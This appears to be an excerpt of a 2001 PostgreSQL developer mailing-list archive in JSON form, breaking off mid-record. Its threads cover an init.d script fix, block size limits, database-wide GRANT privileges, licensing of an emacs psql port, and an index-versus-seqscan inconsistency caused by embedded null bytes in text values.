pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Tue, 6 Feb 2001 12:45:27 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Re: [PATCHES] A Sparc/Linux patch (for 7.1), and a Linux\n\trc.d/init.d script...."
},
{
"msg_contents": "> > > su - postgres sh -c \"$DAEMON stop >& /dev/null\"\n> > \n> > \tHmm... What is wrong here, besides the '>&'? The '>&' can be\n> > replaced with '2>&1 >' if that is more standard.\n\nIt won't do what you want. You want '>/dev/null 2>&1'.\n\n> Change made.\n\nHmmm, I don't see this change in cvsweb.\n\n\nFlorent\n\n-- \nflorent.guillaume@mail.com\n",
"msg_date": "Tue, 6 Feb 2001 22:21:15 +0100",
"msg_from": "Florent Guillaume <efgeor@noos.fr>",
"msg_from_op": false,
"msg_subject": "Re: [PATCHES] A Sparc/Linux patch (for 7.1),\n\tand a Linux rc.d/init.d script...."
},
{
"msg_contents": "> > > > su - postgres sh -c \"$DAEMON stop >& /dev/null\"\n> > > \n> > > \tHmm... What is wrong here, besides the '>&'? The '>&' can be\n> > > replaced with '2>&1 >' if that is more standard.\n> \n> It won't do what you want. You want '>/dev/null 2>&1'.\n\nYes, I knew he wanted >/dev/null 2>&1. I just fixed it. \n\n> \n> > Change made.\n> \n> Hmmm, I don't see this change in cvsweb.\n\nThanks. Seems I overwrote it with his new version. Done now.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Tue, 6 Feb 2001 16:39:04 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Re: [PATCHES] A Sparc/Linux patch (for 7.1), and a Linux\n\trc.d/init.d script...."
},
{
"msg_contents": "On Tue, 6 Feb 2001, Bruce Momjian wrote:\n\n> > > DAEMON=/home/postgres/bin/pg_ctl\n> > \n> > \tOoops.... That is my mistake... Should have been\n> > /usr/local/pgsql/bin/pg_ctl. I have /usr/local/pgsql/ symlinked to /home\n> > (where there is more, faster disk space). I can submit a patch, or can\n> > some one just fix it?\n> \n> Change made.\n\n\tActually I found a few more places where I used /home/postgres\ninstead of /usr/local/pgsql. To make things clear (and for reasons\nbelow) I have attached a new version of the file.\n\n> > > su - postgres sh -c \"$DAEMON stop >& /dev/null\"\n> > \n> > \tHmm... What is wrong here, besides the '>&'? The '>&' can be\n> > replaced with '2>&1 >' if that is more standard.\n> > \n> Change made.\n\n\tTurns out that it has to be '> {dest} 2>&1' for it to work, at\nleast with bash. So, to reduce confusion on fixes to this file, as I\nstated above, a new version is attached. It is tested to work and I don't\nsee any thing more that is non-standard. Though if you still see problems,\nfeel free to point them out. :) Thanks and TTYL.\n\n---------------------------------------------------------------------------\n| \"For to me to live is Christ, and to die is gain.\" |\n| --- Philippians 1:21 (KJV) |\n---------------------------------------------------------------------------\n| Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n---------------------------------------------------------------------------",
"msg_date": "Wed, 7 Feb 2001 21:44:18 -0700 (MST)",
"msg_from": "Ryan Kirkpatrick <pgsql@rkirkpat.net>",
"msg_from_op": true,
"msg_subject": "Re: Re: [PATCHES] A Sparc/Linux patch (for 7.1), and a\n\tLinux rc.d/init.d script...."
},
{
"msg_contents": "Updated.\n\n> On Tue, 6 Feb 2001, Bruce Momjian wrote:\n> \n> > > > DAEMON=/home/postgres/bin/pg_ctl\n> > > \n> > > \tOoops.... That is my mistake... Should have been\n> > > /usr/local/pgsql/bin/pg_ctl. I have /usr/local/pgsql/ symlinked to /home\n> > > (where there is more, faster disk space). I can submit a patch, or can\n> > > some one just fix it?\n> > \n> > Change made.\n> \n> \tActually I found a few more places where I used /home/postgres\n> instead of /usr/local/pgsql. To make things clear (and for reasons\n> below) I have attached a new version of the file.\n> \n> > > > su - postgres sh -c \"$DAEMON stop >& /dev/null\"\n> > > \n> > > \tHmm... What is wrong here, besides the '>&'? The '>&' can be\n> > > replaced with '2>&1 >' if that is more standard.\n> > > \n> > Change made.\n> \n> \tTurns out that it has to be '> {dest} 2>&1' for it to work, at\n> least with bash. So, to reduce confusion on fixes to this file, as I\n> stated above, a new version is attached. It is tested to work and I don't\n> see any thing more that is non-standard. Though if you still see problems,\n> feel free to point them out. :) Thanks and TTYL.\n> \n> ---------------------------------------------------------------------------\n> | \"For to me to live is Christ, and to die is gain.\" |\n> | --- Philippians 1:21 (KJV) |\n> ---------------------------------------------------------------------------\n> | Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n> ---------------------------------------------------------------------------\nContent-Description: \n\n[ Attachment, skipping... ]\n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Wed, 7 Feb 2001 23:57:17 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Re: [PATCHES] A Sparc/Linux patch (for 7.1), and a Linux\n\trc.d/init.d script...."
},
{
"msg_contents": "Applied. Thanks.\n\n> On Tue, 6 Feb 2001, Bruce Momjian wrote:\n> \n> > > > DAEMON=/home/postgres/bin/pg_ctl\n> > > \n> > > \tOoops.... That is my mistake... Should have been\n> > > /usr/local/pgsql/bin/pg_ctl. I have /usr/local/pgsql/ symlinked to /home\n> > > (where there is more, faster disk space). I can submit a patch, or can\n> > > some one just fix it?\n> > \n> > Change made.\n> \n> \tActually I found a few more places where I used /home/postgres\n> instead of /usr/local/pgsql. To make things clear (and for reasons\n> below) I have attached a new version of the file.\n> \n> > > > su - postgres sh -c \"$DAEMON stop >& /dev/null\"\n> > > \n> > > \tHmm... What is wrong here, besides the '>&'? The '>&' can be\n> > > replaced with '2>&1 >' if that is more standard.\n> > > \n> > Change made.\n> \n> \tTurns out that it has to be '> {dest} 2>&1' for it to work, at\n> least with bash. So, to reduce confusion on fixes to this file, as I\n> stated above, a new version is attached. It is tested to work and I don't\n> see any thing more that is non-standard. Though if you still see problems,\n> feel free to point them out. :) Thanks and TTYL.\n> \n> ---------------------------------------------------------------------------\n> | \"For to me to live is Christ, and to die is gain.\" |\n> | --- Philippians 1:21 (KJV) |\n> ---------------------------------------------------------------------------\n> | Ryan Kirkpatrick | Boulder, Colorado | http://www.rkirkpat.net/ |\n> ---------------------------------------------------------------------------\nContent-Description: \n\n[ Attachment, skipping... ]\n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Wed, 7 Feb 2001 23:57:32 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Re: [PATCHES] A Sparc/Linux patch (for 7.1), and a Linux\n\trc.d/init.d script...."
}
] |
[
{
"msg_contents": "In 7.1 the row limit is not as big a deal because of\ntuple toaster. I had a 7.0 database that needed the\nrow limit change, in 7.1 it does not seem too.\n\nBut if you want to chang it anyway, in config.h, look\nfor this line:\n\n#define BLCKSZ 8192\n\nIt can be made as large as 32768.\n\n\n--- Manuel Cabido <manny@msuiit.edu.ph> wrote:\n> Hi there,\n> \n> I am compiling postgresql 7.1beta4. How would i\n> change the default 8k\n> row limit? \n> \n> -- \n> Manny C. Cabido\n> \n> ====================================\n> \n> e-mail:manny@tinago.msuiit.edu.ph\n> \n> manny@sun.msuiit.edu.ph\n> \n> =====================================\n> \n\n\n__________________________________________________\nGet personalized email addresses from Yahoo! Mail - only $35 \na year! http://personal.mail.yahoo.com/\n",
"msg_date": "Tue, 30 Jan 2001 05:01:38 -0800 (PST)",
"msg_from": "m w <mttf2000@yahoo.com>",
"msg_from_op": true,
"msg_subject": "Re: Like vs '='"
}
] |
[
{
"msg_contents": "Is there a way to grant a user with all privileges on a database? Something \nlike Informixs GRANT dba?\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Tue, 30 Jan 2001 10:08:08 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": true,
"msg_subject": "grant privileges to a database"
},
{
"msg_contents": "El Mar 30 Ene 2001 10:08, Martin A. Marques escribi�:\n> Is there a way to grant a user with all privileges on a database? Something\n> like Informixs GRANT dba?\n\nOK, I see that no one responded (except one person how made a personal \nresponce), so I'll add a bit to it.\nI seem to be aware that Postgres doesn't have a function to grant total \naccess to a database, so is it posible to have this added to the todo list \nfor further versions? Or is it posible to build a user-function that will let \nme do this:\n\npostgres@ultra3:~ > psql horde\n\nhorde=# CREATE DATABASE test;\nCREATE DATABASE\nhorde=# GRANT dba TO martin; -- here is the grant issue.\nGRANT\nhorde=# \\c test martin;\nYou are now connected to database test as user martin.\ntest=# CREATE TABLE (aid SERIAL, texto TEXT);\nCREATE TABLE\ntest=#\n\nSaludos... ;-)\n\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Wed, 31 Jan 2001 15:02:08 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": true,
"msg_subject": "Re: grant privileges to a database"
},
{
"msg_contents": "This is the closest thing to what you want:\n\nGRANT ALL ON table TO user;\n\n(see http://www.postgresql.org/users-lounge/docs/7.0/user/sql-grant.htm)\n\nMichael Fork - CCNA - MCP - A+\nNetwork Support - Toledo Internet Access - Toledo Ohio\n\nOn Wed, 31 Jan 2001, Martin A. Marques wrote:\n\n> El Mar 30 Ene 2001 10:08, Martin A. Marques escribi�:\n> > Is there a way to grant a user with all privileges on a database? Something\n> > like Informixs GRANT dba?\n> \n> OK, I see that no one responded (except one person how made a personal \n> responce), so I'll add a bit to it.\n> I seem to be aware that Postgres doesn't have a function to grant total \n> access to a database, so is it posible to have this added to the todo list \n> for further versions? Or is it posible to build a user-function that will let \n> me do this:\n> \n> postgres@ultra3:~ > psql horde\n> \n> horde=# CREATE DATABASE test;\n> CREATE DATABASE\n> horde=# GRANT dba TO martin; -- here is the grant issue.\n> GRANT\n> horde=# \\c test martin;\n> You are now connected to database test as user martin.\n> test=# CREATE TABLE (aid SERIAL, texto TEXT);\n> CREATE TABLE\n> test=#\n> \n> Saludos... ;-)\n> \n> \n> -- \n> System Administration: It's a dirty job, \n> but someone told I had to do it.\n> -----------------------------------------------------------------\n> Mart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\n> Santa Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\n> Administrador de sistemas en math.unl.edu.ar\n> -----------------------------------------------------------------\n> \n\n",
"msg_date": "Wed, 31 Jan 2001 13:53:04 -0500 (EST)",
"msg_from": "Michael Fork <mfork@toledolink.com>",
"msg_from_op": false,
"msg_subject": "Re: Re: grant privileges to a database"
},
{
"msg_contents": "El Mi� 31 Ene 2001 15:53, Michael Fork escribi�:\n> This is the closest thing to what you want:\n>\n> GRANT ALL ON table TO user;\n>\n> (see http://www.postgresql.org/users-lounge/docs/7.0/user/sql-grant.htm)\n\nYes, I'm aware of that. That's why I'm asking for an opinion of the \ndevelopers on this issue.\nI think it would be a nice feature, so that the postgres user creates the \ndatabase and gives all kind of permissions on that database to another user, \nwhich doesn't have to be able to create databases.\n\nAny comments?\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Wed, 31 Jan 2001 16:41:59 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": true,
"msg_subject": "Re: Re: grant privileges to a database"
},
{
"msg_contents": "You can do this in phpPgAdmin... it's a hack because it just pulls in all\nthe objects/relations and runs a single grant statement on them, but it\nworks. It puts together a query like the following:\n\nGRANT ALL ON table1, table2, table3, view1, view2, sequence1, sequence2 TO\nuser\n\nWhich I suppose you can do manually if you don't have phpPgAdmin installed.\n\nIt ain't the prettiest, but it works!\n\n-Dan\n\n: El Mi� 31 Ene 2001 15:53, Michael Fork escribi�:\n: > This is the closest thing to what you want:\n: >\n: > GRANT ALL ON table TO user;\n: >\n: > (see http://www.postgresql.org/users-lounge/docs/7.0/user/sql-grant.htm)\n:\n: Yes, I'm aware of that. That's why I'm asking for an opinion of the\n: developers on this issue.\n: I think it would be a nice feature, so that the postgres user creates the\n: database and gives all kind of permissions on that database to another\nuser,\n: which doesn't have to be able to create databases.\n\n\n",
"msg_date": "Wed, 31 Jan 2001 14:32:27 -0700",
"msg_from": "\"Dan Wilson\" <phpPgAdmin@acucore.com>",
"msg_from_op": false,
"msg_subject": "Re: Re: grant privileges to a database"
},
{
"msg_contents": "El Mi� 31 Ene 2001 18:32, Dan Wilson escribi�:\n> You can do this in phpPgAdmin... it's a hack because it just pulls in all\n> the objects/relations and runs a single grant statement on them, but it\n> works. It puts together a query like the following:\n>\n> GRANT ALL ON table1, table2, table3, view1, view2, sequence1, sequence2 TO\n> user\n>\n> Which I suppose you can do manually if you don't have phpPgAdmin installed.\n>\n> It ain't the prettiest, but it works!\n\nThe problem is that this is not what I'm looking for. I want the user to be \nable to create new tables, views, sequences, etc on that database.\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Wed, 31 Jan 2001 19:18:12 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": true,
"msg_subject": "Re: Re: grant privileges to a database"
},
{
"msg_contents": ": El Mi� 31 Ene 2001 18:32, Dan Wilson escribi�:\n: > You can do this in phpPgAdmin... it's a hack because it just pulls in\nall\n: > the objects/relations and runs a single grant statement on them, but it\n: > works. It puts together a query like the following:\n: >\n: > GRANT ALL ON table1, table2, table3, view1, view2, sequence1, sequence2\nTO\n: > user\n: >\n: > Which I suppose you can do manually if you don't have phpPgAdmin\ninstalled.\n: >\n: > It ain't the prettiest, but it works!\n:\n: The problem is that this is not what I'm looking for. I want the user to\nbe\n: able to create new tables, views, sequences, etc on that database.\n\nOh, if you want to do that, then you don't have to do any granting of\npriviledges. It seems that Postgres allows any user to create a table on a\ndatabase. Even if the user is not the owner of the database. AFAIK, there\nare no acl's associated with the database.\n\nI've posed this question before and have not received any response, but is\nthis an undocumented feature or a sercurity bug? Personally, I don't think\nanyone should be able to create relations on a database they do not own.\n\n-Dan\n\n",
"msg_date": "Wed, 31 Jan 2001 15:39:46 -0700",
"msg_from": "\"Dan Wilson\" <phpPgAdmin@acucore.com>",
"msg_from_op": false,
"msg_subject": "Re: Re: grant privileges to a database"
},
{
"msg_contents": "On Wed, Jan 31, 2001 at 03:39:46PM -0700, some SMTP stream spewed forth: \n> : El Mi� 31 Ene 2001 18:32, Dan Wilson escribi�:\n> : > You can do this in phpPgAdmin... it's a hack because it just pulls in\n> all\n> : > the objects/relations and runs a single grant statement on them, but it\n> : > works. It puts together a query like the following:\n> : >\n> : > GRANT ALL ON table1, table2, table3, view1, view2, sequence1, sequence2\n> TO\n> : > user\n> : >\n> : > Which I suppose you can do manually if you don't have phpPgAdmin\n> installed.\n> : >\n> : > It ain't the prettiest, but it works!\n> :\n> : The problem is that this is not what I'm looking for. I want the user to\n> be\n> : able to create new tables, views, sequences, etc on that database.\n> \n> Oh, if you want to do that, then you don't have to do any granting of\n> priviledges. It seems that Postgres allows any user to create a table on a\n\nEr, to delete anything, the user would need to be a superuser.\nElse, nyet, not necessary.\n\n> database. Even if the user is not the owner of the database. AFAIK, there\n> are no acl's associated with the database.\n\nFor the heck of it, I will certify that this is correct.\n\n> \n> I've posed this question before and have not received any response, but is\n> this an undocumented feature or a sercurity bug? Personally, I don't think\n> anyone should be able to create relations on a database they do not own.\n\nIt is both, depending on how you use it. ;-)\n\nI would and do consider it a blindingly silly security risk, but \napparently nobody else does. I asked before, but...\nJust why the hell would somebody want *any* user of *any* database to be \nable to *create* anything under *any* other database?!?\n\n\ndan\n\n;-)\n\n> \n> -Dan\n> \n",
"msg_date": "Wed, 31 Jan 2001 17:44:28 -0600",
"msg_from": "GH <grasshacker@over-yonder.net>",
"msg_from_op": false,
"msg_subject": "Re: Re: grant privileges to a database"
}
] |
[
{
"msg_contents": "\nI have started trying to make the emacs' psql experience more comfortable.\nI transformed (with sed(1) & manually) the C-source to elisp program.\nNow I want to improve it.\n\n\nMy question: What is the licence of this file. Can I distribute is under GPL?\n\n\nthe file is at:\n\t http://maruska.dyndns.org/comp/emacs/psql-complete.el\n\n",
"msg_date": "Tue, 30 Jan 2001 17:07:34 +0100 (MET)",
"msg_from": "\"Michal Maru���ka\" <mmc@maruska.dyndns.org>",
"msg_from_op": true,
"msg_subject": "src/bin/psql/tab-complete.c ported to emacs lisp"
},
{
"msg_contents": "Michal Maru�ka writes:\n\n> I have started trying to make the emacs' psql experience more comfortable.\n> I transformed (with sed(1) & manually) the C-source to elisp program.\n> Now I want to improve it.\n\nInteresting. Is the reason that you need this the fact that psql doesn't\nuse readline when run in emacs because it thinks it's connected to a\nnon-terminal? Maybe a better approach would be to make psql (or readline\n(or emacs)) think differently in this situation.\n\n> My question: What is the licence of this file.\n\nGood question. We like to think that all files that are not labeled\notherwise are under the BSD-style license that is shown in the COPYRIGHT\nfile, with appropriate copyright holders replaced.\n\n> Can I distribute is under GPL?\n\nPersonally, (I wrote the file originally) I would prefer it if you kept\nthe BSD license on it, as it will allow us to steal code back from you,\nand it's not like somebody's going to distribute binary-only versions, get\nrich, and cut you out.\n\nSome people think it's not okay to relicense BSD stuff as GPL without\ngetting into some kind of jam, to which I personally agree, but if you\ndon't care then I won't sue you either.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Mon, 5 Feb 2001 20:11:41 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: src/bin/psql/tab-complete.c ported to emacs lisp"
}
] |
[
{
"msg_contents": "Hi,\n\n headed for LinuxWorld now. Will be back on the lists on\n Monday 5th. Take care.\n\n\nJan\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Tue, 30 Jan 2001 11:32:24 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": true,
"msg_subject": "I'm off"
}
] |
[
{
"msg_contents": "I am reposting this because I'm not sure it actually\nmade it to the list.\n\n\nI have a function to transform text into a\npseudo-metaphone variable, take this example:\n\ncddbsql=# select song, metatext(song) from cdsongs\nwhere metatext(song) like metatext('born to run')\nlimit 3 ;\n song | metatext\n-------------+----------\n Born To Run | brntorn\n Born To Run | brntorn\n Born To Run | brntorn\n(3 rows)\n\nHere is the problem: Depending on whether there is an\nindex or not, 'like' behaves differently. Here is a\ntranscript:\n\ncddbsql=# select song, metatext(song) from cdsongs\nwhere metatext(song) like metatext('born to run')\nlimit 1 ;\n song | metatext\n-------------+----------\n Born To Run | brntorn\n(1 row)\n \ncddbsql=# create index cdsongs_meta_song on cdsongs\n(metatext(song)) ;\nCREATE\ncddbsql=# select song, metatext(song) from cdsongs\nwhere metatext(song) like metatext('born to run')\nlimit 1 ;\n song | metatext\n------+----------\n(0\nrows)\n \n\nThis happens in both 7.0 and\n7.1.\n\n\n__________________________________________________\nGet personalized email addresses from Yahoo! Mail - only $35 \na year! http://personal.mail.yahoo.com/\n",
"msg_date": "Tue, 30 Jan 2001 10:48:14 -0800 (PST)",
"msg_from": "m w <mttf2000@yahoo.com>",
"msg_from_op": true,
"msg_subject": "Like vs '=' bug with indexing"
},
{
"msg_contents": "m w <mttf2000@yahoo.com> writes:\n> Here is the problem: Depending on whether there is an\n> index or not, 'like' behaves differently.\n\nPlease provide a complete, self-contained example with which\nwe can reproduce the problem.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 03 Feb 2001 13:47:56 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '=' bug with indexing "
},
{
"msg_contents": "\n--- Tom Lane <tgl@sss.pgh.pa.us> wrote:\n> m w <mttf2000@yahoo.com> writes:\n> > Here is the problem: Depending on whether there is\n> an\n> > index or not, 'like' behaves differently.\n> \n> Please provide a complete, self-contained example\n> with which\n> we can reproduce the problem.\n\nI am trying to create a test function and some data\nthat reproduces the problem easily, but I think I know\nwhat it is.\n\nIt is a two bug issue. I had a bug in my code in that\nI added the \"\\0\" to the end of my strings when I\nconverted from a C string to a postgres \"text\" object.\n\n\nI think this exposes a bug in postgres where either\nindex or table scans (I'm not sure which just yet)\ntreat a zero differently than a non-zero in a varchar.\n\nIt looks as if some section of code is using the zero\nto terminate a string and another section of code is\nnot. So at some point data which should be the same\ndifferes either on length of data, or the trailing\nzero compared to an uninitialized byte.\n\nRemoving the terminating zero from the postgres string\nfixes the problem, but, if I understand postgres well\nenough, this should not make a difference, and should\nbe reported as a bug anyway.\n\n\n__________________________________________________\nGet personalized email addresses from Yahoo! Mail - only $35 \na year! http://personal.mail.yahoo.com/\n",
"msg_date": "Sat, 3 Feb 2001 14:16:01 -0800 (PST)",
"msg_from": "m w <mttf2000@yahoo.com>",
"msg_from_op": true,
"msg_subject": "Re: Like vs '=' bug with indexing "
},
{
"msg_contents": "m w <mttf2000@yahoo.com> writes:\n> I think this exposes a bug in postgres where either\n> index or table scans (I'm not sure which just yet)\n> treat a zero differently than a non-zero in a varchar.\n\nEmbedded zeroes aren't supported in char/varchar/text fields,\nand cannot be supported in a portable fashion, since these datatypes\nrely on functions like strcoll() that don't allow embedded nulls in\nstrings. It wouldn't surprise me too much if there are inconsistent\nbehaviors between indexscans and seqscans for such invalid data.\n\nIt doesn't seem real practical for us to examine the output of every\nC-coded function to make sure it produces a valid value of the datatype.\nIllegal returned values are a fault of the function, and ensuing\nmisbehaviors are still its fault ...\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 03 Feb 2001 17:27:49 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '=' bug with indexing "
},
{
"msg_contents": " Embedded zeroes aren't supported in\n> char/varchar/text fields,\n> and cannot be supported in a portable fashion, since\n> these datatypes\n> rely on functions like strcoll() that don't allow\n> embedded nulls in\n> strings. It wouldn't surprise me too much if there\n> are inconsistent\n> behaviors between indexscans and seqscans for such\n> invalid data.\n> \n> It doesn't seem real practical for us to examine the\n> output of every\n> C-coded function to make sure it produces a valid\n> value of the datatype.\n> Illegal returned values are a fault of the function,\n> and ensuing\n> misbehaviors are still its fault ...\n\nFair enough, but I think it should raise a caution\nflag when two different behaviors can be seen with the\nsame query. This may have a common cause with other\nindex vs non-index behavior.\n\n__________________________________________________\nGet personalized email addresses from Yahoo! Mail - only $35 \na year! http://personal.mail.yahoo.com/\n",
"msg_date": "Sat, 3 Feb 2001 14:44:30 -0800 (PST)",
"msg_from": "m w <mttf2000@yahoo.com>",
"msg_from_op": true,
"msg_subject": "Re: Like vs '=' bug with indexing "
},
{
"msg_contents": "Tom Lane wrote:\n> \n> m w <mttf2000@yahoo.com> writes:\n> > I think this exposes a bug in postgres where either\n> > index or table scans (I'm not sure which just yet)\n> > treat a zero differently than a non-zero in a varchar.\n> \n> Embedded zeroes aren't supported in char/varchar/text fields,\n> and cannot be supported in a portable fashion, since these datatypes\n> rely on functions like strcoll() that don't allow embedded nulls in\n> strings.\n\nIs there no simple (i.e. cheap) way to disallow \\0 alltogether for \nthese types then ?\n\nperhaps just strip them out in textin() (or is it text_in()) ?\n\n> It wouldn't surprise me too much if there are inconsistent\n> behaviors between indexscans and seqscans for such invalid data.\n\nshould'nt they both use the _same_ strcoll() and friends ?\n\n> It doesn't seem real practical for us to examine the output of every\n> C-coded function to make sure it produces a valid value of the datatype.\n> Illegal returned values are a fault of the function, and ensuing\n> misbehaviors are still its fault ...\n\nShould we not examine \"the _possible_ outputs of every C-coded function \nto make sure it produces a valid value of the datatype\" ;)\n\nFor me producing an invalid data for a datatype seems very much like \na bug and it _should_ be reported.\n\n-------------\nHannu\n",
"msg_date": "Sun, 04 Feb 2001 11:26:48 +0200",
"msg_from": "Hannu Krosing <hannu@tm.ee>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '=' bug with indexing"
},
{
"msg_contents": "\n--- Hannu Krosing <hannu@tm.ee> wrote:\n\n> Should we not examine \"the _possible_ outputs of\n> every C-coded function \n> to make sure it produces a valid value of the\n> datatype\" ;)\n> \n> For me producing an invalid data for a datatype\n> seems very much like \n> a bug and it _should_ be reported.\n\nNo, I think Tom is right, there should be no\nvalidation on C functions incorporated into Postgres\nby users. Who wants that overhead in a production\nsystem?\n\nHowever, I think when the same SQL query produces\ndifferent results when you add an index, speaks of an\ninconsistency in the system, which could be the source\nof other problems.\n\nI have seen a couple posts where results from an index\nscan are not the same as the results from a table\nscan, granted they were language issues, but still, my\ngut tells me if I set the length of a variable to x,\nand a trailing zero is included, the system should\neither fail consistently or work consistently. I don't\ncare which, it should just be consistent.\n\nInconsistent behavior indicates that a different\nmatching algorithm is used if one uses an index\ninstead of a table scan. That scares me.\n\n__________________________________________________\nGet personalized email addresses from Yahoo! Mail - only $35 \na year! http://personal.mail.yahoo.com/\n",
"msg_date": "Sun, 4 Feb 2001 05:57:32 -0800 (PST)",
"msg_from": "m w <mttf2000@yahoo.com>",
"msg_from_op": true,
"msg_subject": "Re: Like vs '=' bug with indexing"
},
{
"msg_contents": "Hannu Krosing <hannu@tm.ee> writes:\n> Is there no simple (i.e. cheap) way to disallow \\0 alltogether for \n> these types then ?\n> perhaps just strip them out in textin() (or is it text_in()) ?\n\nThey *are* stripped out in textin(), by virtue of the fact that\ntextin expects to see a null-terminated input string.\n\n>> It wouldn't surprise me too much if there are inconsistent\n>> behaviors between indexscans and seqscans for such invalid data.\n\n> should'nt they both use the _same_ strcoll() and friends ?\n\nIrrelevant; the issue is that the various comparison operators may\nproduce inconsistent results given invalid input. For instance\ntexteq() short-circuits to a FALSE result if the lengths of the\ninputs are different, which means that 'ab\\0' = 'ab' will produce\nfalse, even though a strcoll-based comparison will claim they are\nequal. I don't think that means that texteq() is wrong to check the\nlengths first.\n\n> Should we not examine \"the _possible_ outputs of every C-coded function \n> to make sure it produces a valid value of the datatype\" ;)\n\nGo for it.\n\nPossibly chr() should reject chr(0) ...\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sun, 04 Feb 2001 13:45:27 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '=' bug with indexing "
},
{
"msg_contents": "m w <mttf2000@yahoo.com> writes:\n> Inconsistent behavior indicates that a different\n> matching algorithm is used if one uses an index\n> instead of a table scan. That scares me.\n\nA seq scan and an index scan are inherently different algorithms,\nso I don't see exactly how you think we can avoid this risk.\n\nIn particular, if you are dealing with a btree index and a \"WHERE\ncolumn = constant\" query, then a seq scan is only going to be concerned\nwith the behavior of the '=' operator --- does it return TRUE or not\nfor any particular row? But an index search is inherently going to make\nordered comparisons (<, =, >). So there is always a potential for\ninconsistent behavior if the ordering operators produce results that are\ninconsistent with simple '='. We cannot design that away --- all we can\ndo is fix such bugs when one is discovered in a particular datatype.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sun, 04 Feb 2001 13:59:12 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Like vs '=' bug with indexing "
},
{
